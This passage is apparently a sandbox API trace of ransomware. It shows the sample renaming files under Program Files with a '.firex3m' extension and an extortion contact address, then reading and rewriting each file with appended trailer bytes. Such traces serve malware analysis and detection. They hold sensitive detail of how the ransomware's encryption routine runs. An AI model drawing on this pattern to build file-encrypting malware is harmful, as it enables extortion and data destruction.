cAlternateFileName="VSTOEE~2.FIR")) returned 0x6d4f00 [0115.582] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0115.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0115.582] GetProcessHeap () returned 0x630000 [0115.582] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x42a1) returned 0x6ecb478 [0115.582] GetProcessHeap () returned 0x630000 [0115.582] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x42a1) returned 0x6ecf728 [0115.582] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.582] ReadFile (in: hFile=0x684, lpBuffer=0x6ecb478, nNumberOfBytesToRead=0x4280, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb478*, lpNumberOfBytesRead=0x59bff0c*=0x4280, lpOverlapped=0x0) returned 1 [0116.039] GetProcessHeap () returned 0x630000 [0116.039] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0116.039] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.039] WriteFile (in: hFile=0x684, lpBuffer=0x6ecf728*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecf728*, lpNumberOfBytesWritten=0x59bff0c*=0x4280, lpOverlapped=0x0) returned 1 [0116.039] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.039] WriteFile (in: hFile=0x684, lpBuffer=0x6ed39a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed39a7*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0116.040] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.040] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0116.040] CloseHandle (hObject=0x684) returned 1 [0116.041] GetProcessHeap () returned 0x630000 [0116.041] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecf728 | out: hHeap=0x630000) returned 1 [0116.043] GetProcessHeap () returned 0x630000 [0116.043] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecb478 | out: hHeap=0x630000) returned 1 [0116.043] GetProcessHeap () returned 0x630000 [0116.043] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0116.043] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.344] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xb1c53a5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x42bc, dwReserved0=0xab47496, dwReserved1=0x6ecb470, cFileName="vstoee100.tlb.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VSTOEE~2.FIR")) returned 0x6d51c0 [0116.344] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0117.156] Sleep (dwMilliseconds=0x1) [0118.413] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties", len=0x3f | out: pbstr=0x59bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 1 [0118.413] GetProcessHeap () returned 0x630000 [0118.413] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4e00, Size=0x30) returned 0x6ed6070 [0118.457] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0118.797] CloseHandle (hObject=0x68c) returned 1 [0118.797] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0118.814] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.814] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONTEN~1.FIR")) returned 0x6d5040 [0118.815] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0118.815] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0118.815] GetProcessHeap () returned 0x630000 [0118.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x15c1) returned 0x7302f48 [0118.815] GetProcessHeap () returned 0x630000 [0118.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x15c1) returned 0x731aea8 [0118.815] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.815] ReadFile (in: hFile=0x67c, lpBuffer=0x7302f48, nNumberOfBytesToRead=0x15a0, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7302f48*, lpNumberOfBytesRead=0x59bff0c*=0x15a0, lpOverlapped=0x0) returned 1 [0118.837] GetProcessHeap () returned 0x630000 [0118.837] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0118.837] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.837] WriteFile (in: hFile=0x67c, lpBuffer=0x731aea8*, nNumberOfBytesToWrite=0x15a0, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x731aea8*, lpNumberOfBytesWritten=0x59bff0c*=0x15a0, lpOverlapped=0x0) returned 1 [0118.837] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.837] WriteFile (in: hFile=0x67c, lpBuffer=0x731c447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x731c447*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.838] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.838] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.838] CloseHandle (hObject=0x67c) returned 1 [0118.839] GetProcessHeap () returned 0x630000 [0118.839] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731aea8 | out: hHeap=0x630000) returned 1 [0118.839] GetProcessHeap () returned 0x630000 [0118.839] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7302f48 | out: hHeap=0x630000) returned 1 [0118.839] GetProcessHeap () returned 0x630000 [0118.839] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0118.975] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xcc75137, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x15d0, dwReserved0=0xab47496, dwReserved1=0x7302f40, cFileName="content-types.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONTEN~1.FIR")) returned 0x6d5380 [0118.977] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0118.977] Sleep (dwMilliseconds=0x1) [0118.991] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", len=0x34 | out: pbstr=0x59bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 1 [0118.991] GetProcessHeap () returned 0x630000 [0118.991] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0x100) returned 0x6807b8 [0118.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0118.992] CloseHandle (hObject=0x6a0) returned 1 [0118.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.992] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0118.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.992] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x7408cab6, dwReserved1=0x0, cFileName="jvm.hprof.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JVMHPR~1.FIR")) returned 0x6d5200 [0118.993] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0118.993] GetProcessHeap () returned 0x630000 [0118.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x7302f48 [0118.993] GetProcessHeap () returned 0x630000 [0118.993] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a1) returned 0x7232420 [0118.993] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.993] ReadFile (in: hFile=0x6a0, lpBuffer=0x7302f48, nNumberOfBytesToRead=0x1080, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7302f48*, lpNumberOfBytesRead=0x59bff0c*=0x1080, lpOverlapped=0x0) returned 1 [0119.010] GetProcessHeap () returned 0x630000 [0119.010] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0119.010] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.010] WriteFile (in: hFile=0x6a0, lpBuffer=0x7232420*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7232420*, lpNumberOfBytesWritten=0x59bff0c*=0x1080, lpOverlapped=0x0) returned 1 [0119.010] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.010] WriteFile (in: hFile=0x6a0, lpBuffer=0x723349f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x723349f*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.011] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.011] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0119.011] CloseHandle (hObject=0x6a0) returned 1 [0119.011] GetProcessHeap () returned 0x630000 [0119.012] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7232420 | out: hHeap=0x630000) returned 1 [0119.012] GetProcessHeap () returned 0x630000 [0119.012] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7302f48 | out: hHeap=0x630000) returned 1 [0119.012] GetProcessHeap () returned 0x630000 [0119.012] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0119.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xce188f3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10a6, dwReserved0=0xab47496, dwReserved1=0x7302f40, cFileName="jvm.hprof.txt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JVMHPR~1.FIR")) returned 0x6d5200 [0119.012] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0119.012] Sleep (dwMilliseconds=0x1) [0119.017] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", len=0x31 | out: pbstr=0x59bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 1 [0119.017] GetProcessHeap () returned 0x630000 [0119.017] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6807b8, Size=0xf8) returned 0x6807b8 [0119.017] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0119.017] CloseHandle (hObject=0x6e0) returned 1 [0119.017] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.018] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0119.018] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.018] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxswt.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JFXSWT~1.FIR")) returned 0x6d5200 [0119.018] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0119.019] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0119.019] GetProcessHeap () returned 0x630000 [0119.019] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x84a1) returned 0x6ecb478 [0119.019] GetProcessHeap () returned 0x630000 [0119.019] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x84a1) returned 0x6fcb478 [0119.020] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.020] ReadFile (in: hFile=0x6e0, lpBuffer=0x6ecb478, nNumberOfBytesToRead=0x8480, lpNumberOfBytesRead=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb478*, lpNumberOfBytesRead=0x59bff0c*=0x8480, lpOverlapped=0x0) returned 1 [0122.359] GetProcessHeap () returned 0x630000 [0122.359] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0122.359] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.359] WriteFile (in: hFile=0x6e0, lpBuffer=0x6fcb478*, nNumberOfBytesToWrite=0x8480, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcb478*, lpNumberOfBytesWritten=0x59bff0c*=0x8480, lpOverlapped=0x0) returned 1 [0122.359] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.359] WriteFile (in: hFile=0x6e0, lpBuffer=0x6fd38f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd38f7*, lpNumberOfBytesWritten=0x59bff0c*=0x20, lpOverlapped=0x0) returned 1 [0122.359] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.360] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x59bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x59bff0c*=0x4, lpOverlapped=0x0) returned 1 [0122.360] CloseHandle (hObject=0x6e0) returned 1 [0122.361] GetProcessHeap () returned 0x630000 [0122.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fcb478 | out: hHeap=0x630000) returned 1 [0122.362] GetProcessHeap () returned 0x630000 [0122.362] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecb478 | out: hHeap=0x630000) returned 1 [0122.365] GetProcessHeap () returned 0x630000 [0122.365] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0128.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfcc4 | out: lpFindFileData=0x59bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xee0ad95, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x84b0, dwReserved0=0xab47496, dwReserved1=0x6ecb470, cFileName="jfxswt.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JFXSWT~1.FIR")) returned 0x6d54c0 [0128.594] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0128.594] Sleep (dwMilliseconds=0x1) [0128.609] SysReAllocStringLen (in: pbstr=0x59bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", len=0x44 | out: pbstr=0x59bff7c*="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 1 [0128.609] GetProcessHeap () returned 0x630000 [0128.609] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xcc) returned 0x66a3e0 [0128.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0128.866] CloseHandle (hObject=0x6a0) returned 1 [0128.866] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.988] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x59bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.989] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x59bfc6c | out: lpFindFileData=0x59bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, 